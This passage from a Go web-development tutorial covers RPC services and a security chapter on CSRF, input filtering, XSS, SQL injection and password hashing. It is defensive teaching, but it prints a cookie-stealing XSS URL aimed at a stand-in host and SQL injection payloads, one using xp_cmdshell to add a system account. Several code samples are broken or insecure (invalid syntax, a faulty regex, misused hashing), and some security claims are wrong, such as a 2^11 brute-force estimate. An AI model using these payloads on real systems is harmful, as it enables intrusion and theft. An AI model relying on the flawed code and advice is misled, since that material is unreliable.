	Functions have to have two arguments with exported types.

	The first argument is for receiving from the client, and the second one has to be a pointer and is for replying to the client.

	Functions have to have a return value of error type.



For example:

func (t *T) MethodName(argType T1, replyType *T2) error

Where T, T1 and T2 must be able to be encoded by the package/gob package.

Any kind of RPC has to go through a network to transfer data. Go RPC can either use HTTP or TCP. The benefits of using HTTP is that you can reuse some functions from the net/http package.





54.2.1 HTTP RPC

HTTP server side code:

package main

import (
    "errors"
    "fmt"
    "net/http"
    "net/rpc"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

type Arith int

func (t *Arith) Multiply(args *Args, reply *int) error {
    *reply = args.A * args.B
    return nil
}

func (t *Arith) Divide(args *Args, quo *Quotient) error {
    if args.B == 0 {
        return errors.New("divide by zero")
    }
    quo.Quo = args.A / args.B
    quo.Rem = args.A % args.B
    return nil
}

func main() {

    arith := new(Arith)
    rpc.Register(arith)
    rpc.HandleHTTP()

    err := http.ListenAndServe(":1234", nil)
    if err != nil {
        fmt.Println(err.Error())
    }
}

We registered a RPC service of Arith, then registered this service on HTTP through rpc.HandleHTTP. After that, we are able to transfer data through HTTP.

Client side code:

package main

import (
    "fmt"
    "log"
    "net/rpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}


func main() {
    if len(os.Args) != 2 {
        fmt.Println("Usage: ", os.Args[0], "server")
        os.Exit(1)
    }
    serverAddress := os.Args[1]

    client, err := rpc.DialHTTP("tcp", serverAddress+":1234")
    if err != nil {
        log.Fatal("dialing:", err)
    }
    // Synchronous call
    args := Args{17, 8}
    var reply int
    err = client.Call("Arith.Multiply", args, &reply)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)

    var quot Quotient
    err = client.Call("Arith.Divide", args, &quot)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)

}

We compile the client and the server side code separately then start the server and client. You’ll then have something similar as follows after you input some data.

$ ./http_c localhost
Arith: 17*8=136
Arith: 17/8=2 remainder 1

As you can see, we defined a struct for the return type. We use it as type of function argument on the server side, and as the type of the second and third arguments on the client client.Call. This call is very important. It has three arguments, where the first one is the name of the function that is going to be called, the second is the argument you want to pass, and the last one is the return value (of pointer type). So far we see that it’s easy to implement RPC in Go.





54.2.2 TCP RPC

Let’s try the RPC that is based on TCP, here is the server side code:

package main

import (
    "errors"
    "fmt"
    "net"
    "net/rpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

type Arith int

func (t *Arith) Multiply(args *Args, reply *int) error {
    *reply = args.A * args.B
    return nil
}

func (t *Arith) Divide(args *Args, quo *Quotient) error {
    if args.B == 0 {
        return errors.New("divide by zero")
    }
    quo.Quo = args.A / args.B
    quo.Rem = args.A % args.B
    return nil
}

func main() {

    arith := new(Arith)
    rpc.Register(arith)

    tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
    checkError(err)

    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)

    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        rpc.ServeConn(conn)
    }

}

func checkError(err error) {
    if err != nil {
        fmt.Println("Fatal error ", err.Error())
        os.Exit(1)
    }
}

The difference between HTTP RPC and TCP RPC is that we have to control connections by ourselves if we use TCP RPC, then pass connections to RPC for processing.

As you may have guessed, this is a blocking pattern. You are free to use goroutines to extend this application as a more advanced experiment.

The client side code:

package main

import (
    "fmt"
    "log"
    "net/rpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

func main() {
    if len(os.Args) != 2 {
        fmt.Println("Usage: ", os.Args[0], "server:port")
        os.Exit(1)
    }
    service := os.Args[1]

    client, err := rpc.Dial("tcp", service)
    if err != nil {
        log.Fatal("dialing:", err)
    }
    // Synchronous call
    args := Args{17, 8}
    var reply int
    err = client.Call("Arith.Multiply", args, &reply)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)

    var quot Quotient
    err = client.Call("Arith.Divide", args, &quot)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)

}

The only difference in the client side code is that HTTP clients use DialHTTP whereas TCP clients use Dial(TCP).





54.2.3 JSON RPC

JSON RPC encodes data to JSON instead of gob. Let’s see an example of a Go JSON RPC on the server:

package main

import (
    "errors"
    "fmt"
    "net"
    "net/rpc"
    "net/rpc/jsonrpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

type Arith int

func (t *Arith) Multiply(args *Args, reply *int) error {
    *reply = args.A * args.B
    return nil
}

func (t *Arith) Divide(args *Args, quo *Quotient) error {
    if args.B == 0 {
        return errors.New("divide by zero")
    }
    quo.Quo = args.A / args.B
    quo.Rem = args.A % args.B
    return nil
}

func main() {

    arith := new(Arith)
    rpc.Register(arith)

    tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
    checkError(err)

    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)

    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        jsonrpc.ServeConn(conn)
    }

}

func checkError(err error) {
    if err != nil {
        fmt.Println("Fatal error ", err.Error())
        os.Exit(1)
    }
}

JSON RPC is based on TCP and doesn’t support HTTP yet.

The client side code:

package main

import (
    "fmt"
    "log"
    "net/rpc/jsonrpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

func main() {
    if len(os.Args) != 2 {
        fmt.Println("Usage: ", os.Args[0], "server:port")
        log.Fatal(1)
    }
    service := os.Args[1]

    client, err := jsonrpc.Dial("tcp", service)
    if err != nil {
        log.Fatal("dialing:", err)
    }
    // Synchronous call
    args := Args{17, 8}
    var reply int
    err = client.Call("Arith.Multiply", args, &reply)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)

    var quot Quotient
    err = client.Call("Arith.Divide", args, &quot)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)

}





54.3 Summary

Go has good support for HTTP, TPC and JSON RPC implementation which allow us to easily develop distributed web applications; however, it is regrettable that Go doesn’t have built-in support for SOAP RPC, although some open source third-party packages do offer this.
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55 8.5 Summary

In this chapter, I introduced you to several mainstream web application development models. In section 8.1, I described the basics of network programming sockets. Because of the rapid evolution of network technology and infrastructure, and given that the Socket is the cornerstone of these changes, you must master the concepts behind socket programming in order to be a competent web developer. In section 8.2, I described HTML5 WebSockets which support full-duplex communications between client and server and eliminate the need for polling with AJAX. In section 8.3, we implemented a simple application using the REST architecture, which is particularly suitable for the development of network APIs; due to the rapid rise of mobile applications, I believe that RESTful APIs will be an ongoing trend. In section 8.4, we learned about Go RPCs.

Go provides excellent support for the four kinds of development methods mentioned above. Note that the net package and its sub-packages is the place where Go’s network programming tools Go reside. If you want a more in-depth understanding of the relevant implementation details, you should try reading the source code of those packages.
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56 9 Security and encryption

Security is an extremely important aspect of most web applications. This topic has been getting more and more attention lately, especially in light of the recent CSDN, Linkedin and Yahoo password leaks. As Go developers, we must be aware of vulnerabilities in our applications and take precautions in order to prevent attackers from taking over our systems.

Many of the security problems that arise in modern web applications originate from data provided by third-parties. For example, user input should always be validated and sanitized before being stored as secure data. If this isn’t done, when the data is outputted to a client, it may cause a cross-site scripting attack (XSS). Similarly, if unsafe data is used directly as your application’s database queries, then you may be vulnerable to SQL injection attacks. In sections 9.3 and 9.4, we’ll look at how to avoid these problems.

When using third-party data (which includes user-supplied data), first verify the integrity of the data by filtering the input. Section 9.2 will describe how to filter input.

Unfortunately, filtering input and escaping output does not solve all security problems. In section 9.1, we will explain cross-site request forgery (CSRF) attacks.

This is a malicious exploit where unauthorized commands are transmitted from a user that the website trusts.

Keeping confidential data encrypted can also help you to secure your web applications. In section 9.5, we will describe how to store passwords safely using Go’s encryption package.

A good hash function makes it hard to find two strings that would produce the same hash value, and this is one way with which we can encrypt our data. There is also two-way encryption, where you use a secret key to decrypt encrypted data. In section 9.6 we will describe how to perform both one-way and two-way encryption.
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57 9.1 CSRF attacks





57.1 What is CSRF?

CSRF and XSRF both stand for “Cross-site request forgery”. It’s also known as a “one click attack” or “session riding”.

So how does a CSRF attack work? A CSRF attack happens when an attacker tricks a trusted user into accessing a website or clicking a URL that transmits malicious requests (without the user’s consent) to a targeted website. Here’s a simple example: using a few social engineering tricks, an attacker could use the QQ chat software to find and send malicious links to victims targeted at their user’s online banking website. If the victim logs into their online bank account and does not exit, then clicking on a malicious link sent from the attacker could allow the attacker to steal all of the user’s bank account funds.

When under a CSRF attack, a single end-user with an administrator account can threaten the integrity of the entire web application.





57.2 CSRF principle

The following diagram provides a simple overview of ​​a CSRF attack
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Figure 9.1 CSRF attack process.

As can be seen from the figure, to complete a CSRF attack, the victim must complete the following two steps:

-1. Log into trusted site A, and store a local Cookie.

-2. Without going through existing site A, access the dangerous link to site B.

As a reader you may be asking: “If I do not meet the above two conditions, I will will not be subjected to CSRF attacks.” Yes this is true, however you cannot guarantee that the following does not occur:


	You cannot guarantee that when you are logged into a site, the site didn’t launch any hidden tabs.

	You cannot guarantee that when you close your browser, your cookies will immediately expire and your last session will have ended.

	Trusted, high traffic websites will likely not have hidden vulnerabilities easily exploitable by CSRF based attacks.



Thus, it can be difficult for users to visit a website through a link and know that it will not carry out unknown operations in the form of a CSRF attack.

CSRF attacks work mostly because of the process through which users are authenticated. Although you can reasonably guarantee that a request originates from a user’s browser, there is no guarantee that the user granted approval for the request.





57.3 How to prevent CSRF attacks

You might be a little scared after reading the section above. But fear is a good thing. It will force you educate yourself on how to prevent vulnerabilities like this from happening to you.

Preventative measures against CSRF attacks can be taken on both the server and client sides of a web application. However, CSRF attacks are most effectively thwarted on the server side.

There are many ways of preventing CSRF attacks are the server side. Most approaches stem from from the following two aspects:


	Maintaining proper use of GET, POST and cookies.

	Including a pseudo-random number with non-GET requests.



In the previous chapter on REST, we saw how most web applications are based on GET and POST HTTP requests, and that cookies were included along with these requests. We generally design application as according to the following principles:


	GET is commonly used to view information without altering any data.


	POST is used in placing orders, changing the properties of a resource or performing other tasks.




I’m now going to use the Go language to illustrate how to restrict access to resources methods:

mux.Get("/user/:uid", getuser)
mux.Post("/user/:uid", modifyuser)

Since we’ve stipulated that modifications can only use POST, when a GET method is issued instead of a POST, we can refuse to respond to the request. According to the figure above, attacks utilizing GET as a CSRF exploit can be prevented. Is this enough to prevent all possible CSRF attacks? Of course not, because POSTs can also be forged.

We need to implement a second step, which is (in the case of non-GET requests) to increase the length of the pseudo-random number included with the request. This usually involves steps:


	For each user, generate a unique cookie token with a pseudo-random value. All forms must contain the same pseudo-random value. This proposal is the simplest one because in theory, an attacker cannot read third party cookies. Any form that an attacker may submit will fail the validation process without knowing what the random value is.

	Different forms contain different pseudo-random values, as we’ve introduced in section 4.4, “How to prevent multiple form submission”. We can reuse the relevant code from that section suit our needs:



Generating a random number token:

h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
io.WriteString(h, "ganraomaxxxxxxxxx")
token := fmt.Sprintf("%x", h.Sum(nil))

t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, token)

Output token:

<input type="hidden" name="token" value="{{.}}">

Authentication token:

r.ParseForm()
token := r.Form.Get("token")
if token! = "" {
    // Verification token of legitimacy
} Else {
    // Error token does not exist
}

We can use the preceding code to secure our POSTs. You might be wondering, in accordance with our theory, whether there could be some way for a malicious third party to somehow figure out our secret token value? In fact, cracking it is basically impossible -successfully calculating the correct string value using brute force methods needs about 2 to the 11th time.





57.4 Summary

Cross-site request forgery, otherwise known as CSRF, is a very dangerous web security threat. It is known in web security circles as a “sleeping giant” security issue; as you can tell, CSRF attacks have quite the reputation. This section not only introduced cross-site request forgery itself, but factors underlying this vulnerability. It concludes with some suggestions and methods for preventing such attacks. I hope this section will have inspired you, as a reader, to write better and more secure web applications.
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58 9.2 Filtering inputs

Filtering user data is one way we can improve the security of our web apps, using it to verify the legitimacy of incoming data. All of the input data is filtered in order to avoid malicious code or data from being mistakenly executed or stored. Most web application vulnerabilities arise form neglecting to filter input data and naively trusting it.

Our introduction to filtering data is divided into three steps:


	identifying the data; we need to filter the data to figure out where it originated form

	filtering of the data itself; we need to figure out what kind of data we have received

	distinguish between filtered (sanitized) and tainted data; after the data has been filtered, we can be assured that it is is secure







58.1 Identifying data

“Identifying the data” is our first step because most of the time, as mentioned, we don’t know where it originates from. Without this knowledge, we would be unable to properly filter it. The data here is provided internally all from non-code data. For example: all data comes from clients, however clients that are users are not the only external sources of data. A database interface providing third party data could also be an external data source.

Data that has been entered by a user is very easy to recognize in Go. We use r.ParseForm after the user POSTs a form to get all of the data inside the r.Form. Other types of input are much harder to identify. For example in r.Headers, many of the elements are often manipulated by the client. It can often be difficult to identify which of these elements have been manipulated by clients, so it’s best to consider all of them as having been tainted. The r.Header.Get("Accept-Charset") header field, for instance, is also considered as user input, although these are typically only manipulated by browsers.





58.2 Filtering data

If we know the source of the data, we can filter it. Filtering is a bit of a formal use of the term. The process is known by many other terms such as input cleaning, validation and sanitization. Despite the fact that these terms somewhat differ in their meaning, they all refer to the same thing: the process of preventing illegal data from making its way into your applications.

There are many ways to filter data, some of which are less secure than others. The best method is to check whether or not the data itself meets the legal requirements dictated by your application. When attempting to do so, it’s very important not to make any attempts at correcting the illegal data; this could allow malicious users to manipulate your validation rules for their own needs, altogether defeating the purpose of filtering the data in the first place. History has proven that attempting to correct invalid data often leads to security vulnerabilities. Let’s take a look at an overly simple example for illustration purposes. Suppose that a banking system asks users to supply a secure, 6 digit password. The system validates the length of all passwords. One might naively write a validation rule that corrects passwords of illegal lengths: “If a password is shorter than the legal length, fill in the remaining digits with 0s”. This simple rule would allow attackers to guess just the first few digits of a password to successfully gain access to user accounts!

We can use several libraries to help us to filter data:


	The strconv package can help us to convert user inputed strings into specific types, since r.Forms are maps of string values. Some common string conversions provided by strconv are Atoi, ParseBool, ParseFloat and ParseInt.

	Go’s strings package contains some filter functions like Trim, ToLower and ToTitle, which can help us to obtain data in a specific formats, according to our needs.

	Go’s regexp package can be used to handle cases which are more complex in nature, such as determining whether an input is an email address, a birthday, etc.



Filtering incoming data in addition to authentication can be quite effective. Let’s add another technique to our repertoire, called whitelisting. Whitelisting is a good way of confirming the legitimacy of incoming data. Using this method, if an error occurs, it can only mean that the incoming data is illegal, and not the opposite. Of course, we don’t want to make any mistakes in our whitelist by falsely labelling legitimate data as illegal, but this scenario is much better than illegal data being labeled as legitimate, and thus much more secure.





58.3 Distinguishing between filtered and tainted data

If you have completed the above steps, the job of filtering data has basically been completed. However when writing web applications, we also need to distinguish between filtered and tainted data because doing so can guarantee the integrity of our data filtering process without affecting the input data. Let’s put all of our filtered data into a global map variable called CleanMap. Then, two important steps are required to prevent contamination via data injection:


	Each request must initialize CleanMap as an empty map.

	Prevent variables from external data sources named CleanMap from being introduced into the app.



Next, let’s use an example form to reinforce these concepts:

<form action="/whoami" method="POST">
    Who am I:
    <select name="name">
        <option value="astaxie">astaxie</option>
        <option value="herry">herry</option>
        <option value="marry">marry</option>
    </select>
    <input type="submit" />
</form>

In dealing with this type of form, it can be very easy to make the mistake of thinking that users will only be able to submit one of the three select options. In fact, POST operations can easily be simulated by attackers. For example, by submitting the same form with name = attack, a malicious user could introduce illegal data into our system. We can use a simple whitelist to counter these types of attacks:

r.ParseForm()
name := r.Form.Get("name")
CleanMap := make(map[string]interface{}, 0)
if name == "astaxie" || name == "herry" || name == "marry" {
    CleanMap["name"] = name
}

The above code initializes a CleanMap variable, and a name is only assigned after checking it against an internal whitelist of legitimate values (astaxie, herry and marry in this case). We store the data in the CleanMap instance so you can be sure that CleanMap["name"] holds a validated value. Any code wishing to access this value can then freely do so. We can also add an additional else statement to the above if whitelist for dealing with illegal data, a possibility being that the form was displayed with an error. Do not try to be too accommodating though, or you run the risk of accidentally contaminating your CleanMap.

The above method for filtering data against a set of known, legitimate values is very effective. There is another method for checking whether or not incoming data consists of legal characters using regexp, however this would be ineffectual in the above case where we require that the name be an option from the select. For example, you may require that user names only consist of letters and numbers:

r.ParseForm()
username := r.Form.Get("username")
CleanMap := make(map[string]interface{}, 0)
if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok {
    CleanMap["username"] = username
}





58.4 Summary

Data filtering plays a vital role in the security of modern web applications. Most security vulnerabilities are the result of improperly filtering data or neglecting to properly validate it. Because the previous section dealt with CSRF attacks and the next two will be introducing XSS attacks and SQL injection, there was no natural segue into dealing with as important a topic as data sanitization, so in this section, we paid special attention to it.
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59 9.3 XSS attacks

With the development of Internet technology, web applications are often packed with dynamic content to improve user experience. Dynamic content is content that reacts and changes according to user requests and actions. Dynamic sites are often susceptible to cross-site scripting attacks (often referred to by security experts in its abbreviated form, XSS), something which static websites are completely unaffected by.





59.1 What is XSS

As mentioned, the term XSS is an acronym for Cross-Site Scripting, which is a type of attack common on the web. In order not to confuse it with another common web acronym, CSS (Cascading Style Sheets), we use an X instead of a C for the cross in cross-site scripting. XSS is a common web security vulnerability which allows attackers to inject malicious code into webpages. Unlike most types of attacks which generally involve only an attacker and a victim, XSS involves three parties: an attacker, a client and a web application. The goal of an XSS attack is to steal cookies stored on clients by web applications for the purpose of reading sensitive client information. Once an attacker gets ahold of this information, they can impersonate users and interact with websites without their knowledge or approval.

XSS attacks can usually be divided into two categories: one is a stored XSS attack. This form of attack arises when users are allowed to input data onto a public page, which after being saved by the server, will be returned (unescaped) to other users that happen to be browsing it. Some examples of the types of pages that are often affected include comments, reviews, blog posts and message boards. The process often goes like this: an attacker enters some html followed by a hidden <script> tag containing some malicious code, then hits save. The web application saves this to the database. When another user requests this page, the application queries this tainted data from the database and serves the page to the user. The attacker’s script then executes arbitrary code on the client’s computer.

The other type is a reflected XSS attack. The main idea is to embed a malicious script directly into the query parameters of a URL address. A server that immediately parses this data into a page of results and returns it (to the client who made the request) unsanitized, can unwittingly cause the client’s computer to execute this code. An attacker can send a user a legitimate looking link to a trusted website with the encoded payload; clicking on this link can cause the user’s browser to execute the malicious script.

XSS present the main means and ends as follows:


	Theft of cookies, access to sensitive information.

	The use of embedded Flash, through crossdomain permissions, can also be used by an attacker to obtain higher user priviledges. This also applies for other similar attack vectors such as Java and VBScript.

	The use of iframes, frames, XMLHttpRequests, etc., can allow an attacker to assume the identity of a user to perform administrative actions such as micro-blogging, adding friends, sending private messages, and other routine operations. A while ago, the Sina microblogging platform suffered from this type of XSS vulnerability.

	When many users visit a page affected by an XSS attack, the effect on some smaller sites can be comparable to that of a DDoS attack.







59.2 XSS principles

Web applications that return requested data to users without first inspecting and filtering it can allow malicious users to inject scripts (typically embedded inside HTML within <script> tags) onto other users’ browsers. When this malicious code is rendered on a user’s browser without first having been escaped from, the user’s browser will interpret this code: this is the definition of an XSS attack, and this type of mistake is the leading cause of XSS vulnerabilities.

Let’s go through the process of a reflective XSS attack. Let’s say there’s a website that outputs a user’s name according to the URL query parameters; access the following URL http://127.0.0.1/?name=astaxie will cause the server to output the following:

hello astaxie

Let’s say we pass the following parameter instead, accessing the same url: http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>. If this causes the browser to produce an alert pop-up box, we can confirm that the site is vulnerable to XSS attacks. So how do malicious users steal cookies using the same type of attack?

Just like before, we have a URL:

http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;

By clicking on this URL, you’d be sending the current cookie to the specified site: www.xxx.com. You might be wondering, why would anybody click on such a strange looking URL in the first place? While it’s true that this kind of URL will make most people skeptical, if an attacker were to use one of the many popular URL shortening services to obscure it, would you still be able to see it? Most attackers would obfuscate the URL in one way or another, and you’d only know the legitimacy of the link after clicking on it. However by this point, cookie data will have already been sent to the 3rd party website, compromising your sensitive information. You can use tools like Websleuth to audit the security of your web applications for these types of vulnerabilities.

For a more detailed analysis on an XSS attack, have a look at the article: “[ Sina microblogging XSS event analysis ] (http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)”





59.3 How to prevent XSS

The answer is simple: never trust user input, and always filter out all special characters in any input data you may receive. This will eliminate the majority of XSS attacks.

Use the following techniques to defend against XSS attacks:


	Filter special characters



One way to avoid XSS is to filter user-supplied content. The Go language provides some HTML filtering functions in its text/template packge such as HTMLEscapeString and JSEscapeString, to name a few.


	Specify the content type in your HTTP headers



w.Header().Set("Content-Type","text/javascript")

This allows client browsers to parse the response as javascript code (applying the neccessary filters) instead of rendering the content in an unspecified and potentially dangerous manner.





59.4 Summary

Introducing XSS vulnerabilities is a very real hazard when developping web applications. It is important to remember to filter all data, especially before outputting it to clients; this is now a well-established means of preventing XSS.





59.5 Links


	Directory

	Previous section: Filter inputs

	Next section: SQL injection







60 9.4 SQL injection





60.1 What is SQL injection

SQL injection attacks are (as the name would suggest) one of the many types of script injection attacks. In web development, these are the most common form of security vulnerabilities. Attackers can use it to obtain sensitive information from databases, and aspects of an attack can involve adding users to the database, exporting private files, and even obtaining the highest system privileges for their own nefarious purposes.

SQL injection occurs when web applications do not effectively filter out user input, leaving the door wide open for attackers to submit malicious SQL query code to the server. Applications often receive injected code as part of an attacker’s input, which alters the logic of the original query in some way. When the application attempts to execute the query, the attacker’s malicious code is executed instead.





60.2 SQL injection examples

Many web developers do not realize how SQL queries can be tampered with, and may hold the misconception that they are trusted commands. As everyone knows, SQL queries are able to circumvent access controls, thereby bypassing the standard authentication and authorization checks. What’s more, it’s possible to run SQL queries through commands at the level of the host system.

Let’s have a look at some real examples to explain the process of SQL injection in detail.

Consider the following simple login form :

<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="Login" /></p>
</form>

Our form processing might look like this:

username := r.Form.Get("username")
password := r.Form.Get("password")
sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'"

If the user inputs a user name or password as:

myuser' or 'foo' = 'foo' --

Then our SQL becomes the following:

SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'

In SQL, anything after -- is a comment. Thus, inserting the -- as the attacker did above alters the query in a fatal way, allowing an attacker to successfully login as a user without a valid password.

Far more dangerous exploits exist for MSSQL SQL injections, and some can even perform system commands. The following examples will demonstrate how terrible SQL injections can be in some versions of MSSQL databases.

sql := "SELECT * FROM products WHERE name LIKE '%" + prod + "%'"
Db.Exec(sql)

If an attacker submits a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- as the “prod” variable, then the sql will become

sql := "SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"

The MSSQL Server executes the SQL statement including the commands in the user supplied “prod” variable, which adds new users to the system. If this program is run as is, and the MSSQLSERVER service has sufficient privileges, an attacker can register a system account to access this machine.


Although the examples above are tied to a specific database system, this does not mean that other database systems cannot be subjected to similar types of attacks. The principles behind SQL injection attacks remain the same, though the method with which they are perpetrated may vary.







60.3 How to prevent SQL injection

You might be thinking that an attacker would have to know information about the target database’s structure in order to carry out an SQL injection attack. While this is true, it’s difficult to guarantee that an attacker won’t be able to find this information and once they get it, the database can be compromised. If you are using open source software to access the database, such as a forum application, intruders can easily get the related code. Obviously with poorly designed code, the security risks are even greater. Discuz, phpwind and phpcms are some examples of popular open source programs that have been vulnerable to SQL injection attacks.

These attacks happen to systems where safety precautions are not prioritized. We’ve said it before, we’ll say it again: never trust any kind of input, especially user data. This includes data coming from selection boxes, hidden input fields or cookies. As our first example above has shown, even supposedly normal queries can cause disasters.

SQL injection attacks can be devastating -how can do we even begin to defend against them? The following suggestions are a good starting point for preventing SQL injection:


	Strictly limit permissions for database operations so that users only have the minimum set of permissions required to accomplish their work, thus minimizing the risk of database injection attacks.

	Check that input data has the expected data format, and strictly limit the types of variables that can be submitted. This can involve regexp matching, or using the strconv package to convert strings into other basic types for sanitization and evaluation.

	Transcode or escape from pairs of special characters ( ’“\&*; etc. ) before persisting them into the database. Go’s text/template package has a HTMLEscapeString function that can be used to return escaped HTML.

	Use your database’s parameterized query interface. Parameterized statements use parameters instead of concatenating user input variables in embedded SQL statements; in other words, they do not directly splice ​​SQL statements. For example, using the the Prepare function in Go’s database/sql package, we can create prepared statements for later execution with Query or Exec(query string, args... interface {}).

	Before releasing your application, thoroughly test it using professional tools for detecting SQL injection vulnerabilities and to repair them, if they exist. There are many online open source tools that do just this, such as sqlmap, SQLninja, to name a few.

	Avoid printing out SQL error information on public webpages. Attackers can use these error messages to carry out SQL injection attacks. Examples of such errors are type errors, fields not matching errors, or any errors containing SQL statements.







60.4 Summary

Through the above examples, we’ve learned that SQL injection is a very real and very dangerous web security vulnerability. When we write web application, we should pay attention to every little detail and treat security issues with the utmost care. Doing so will lead to better and more secure web applications, and can ultimately be the determing factor in whether or not your application succeeds.





60.5 Links


	Directory

	Previous section: XSS attacks

	Next section: Password storage







61 9.5 Password storage

Over the years, many websites have suffered from breaches in user password data. Even top internet companies such as Linkedin and CSDN.net have been effected. The impact of these types of events has been felt across the entire internet, and cannot be underestimated. This is especially the case for today’s internet users, who often adopt the habit of using the same password for many different websites.

As web developers, we have many choices when it comes to implementing a password storage scheme. However, this freedom is often a double edged sword. So what are the common pitfalls and how can we avoid falling into them?





61.1 Common solutions

Currently, the most frequently used password storage scheme is to one-way hash plaintext passwords before storing them. The most important characteristic of one-way hashing is that it is infeasible to recover the original data given the hashed data -hence the “one-way” in one-way hashing. Commonly used cryptographic, one-way hash algorithms include SHA-256, SHA-1, MD5 and so on.

You can easily use the three aforementioned encryption algorithms in Go as follows:

//import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))

//import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))

//import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密码")
fmt.Printf("%x", h.Sum(nil))

There are two key features of one-way hashing:

1) given a one-way hash of a password, the resulting summary is always uniquely determined.

2) calculation speed. As technology advances, it only takes a second to complete billions of one-way hash calculations.

Given the combination of the above two characteristics, and taking into account the fact that the majority of people use some combination of common passwords, an attacker can compute a combination of all the common passwords. Even though the passwords you store in your database may be hash values only, if attackers gain access to this database, they can compare the stored hashes to their precomputed hashes to obtain the corresponding passwords. This type of attack relies on what is typically called a rainbow table.

We can see that encrypting user data using one-way hashes may not be enough. Once a website’s database gets leaked, the user’s original password could potentially be revealed to the world.





61.2 Advanced solution

Through the above description, we’ve seen that hackers can use rainbow tables to crack hashed passwords, largely because the hash algorithm used to encrypt them is public. If the hackers do not know what the encryption algorithm is, they wouldn’t even know where to start.

An immediate solution would be to design your own hash algorithm. However, good hash algorithms can be very difficult to design both in terms of avoiding collisions and making sure that your hashing process is not too obvious. These two points can be much more difficult to achieve than expected. For most of us, it’s much more practical to use the existing, battle hardened hash algorithms that are already out there.

But, just to repeat ourselves, one-way hashing is still not enough to stop more sophisticated hackers from reverse engineering user passwords. Especially in the case of open source hashing algorithms, we should never assume that a hacker does not have intimate knowledge of our hashing process.

Of course, there are no impenetrable shields, but there are also no unbreakable spears. Nowadays, any website with decent security will use a technique called “salting” to store passwords securely. This practice involves concatenating a server-generated random string to a user supplied password, and using the resulting string as an input to a one-way hash function. The username can be included in the random string to ensure that each user has a unique encryption key.

//import "crypto/md5"
// Assume the username abc, password 123456
h := md5.New()
io.WriteString(h, "password need to be encrypted")

pwmd5 :=fmt.Sprintf("%x", h.Sum(nil))

// Specify two salt: salt1 = @#$% salt2 = ^&*()
salt1 := "@#$%"
salt2 := "^&*()"

// salt1 + username + salt2 + MD5 splicing
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)

last :=fmt.Sprintf("%x", h.Sum(nil))

In the case where our two salt strings have not been compromised, even if hackers do manage to get their hands on the encrypted password string, it will be almost impossible to figure out what the original password is.





61.3 Professional solution

The advanced methods mentioned above may have been secure enough to thwart most hacking attempts a few years ago, since most attackers would not have had the computing resources to compute large rainbow tables. However, with the rise of parallel computing capabilities, these types of attacks are becoming more and more feasible.

How do we securely store a password so that it cannot be deciphered by a third party, given real life limitations in time and memory resources? The solution is to calculate a hashed password to deliberately increase the amount of resources and time it would take to crack it. We want to design a hash such that nobody could possibly have the resources required to compute the required rainbow table.

Very secure systems utilize hash algorithms that take into account the time and resources it would require to compute a given password digest. This allows us to create password digests that are computationally expensive to perform on a large scale. The greater the intensity of the calculation, the more difficult it will be for an attacker to pre-compute rainbow tables -so much so that it may even be infeasible to try.

In Go, it’s recommended that you use the scrypt package, which is based on the work of the famous hacker Colin Percival (of the FreeBSD backup service Tarsnap).

The packge’s source code can be found at the following link: http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt

Here is an example code snippet which can be used to obtain a derived key for an AES-256 encryption:

dk: = scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)

You can generate unique password values using the above method, which are by far the most difficult to crack.





61.4 Summary

If you’re worried about the security of your online life, you can take the following steps:

1) As a regular internet user, we recommend using LastPass for password storage and generation; on different sites use different passwords.

2) As a Go web developer, we strongly suggest that you use one of the professional, well tested methods above for storing user passwords.





61.5 Links


	Directory

	Previous section: SQL injection

	Next section: Encrypt and decrypt data







62 9.6 Encrypting and decrypting data

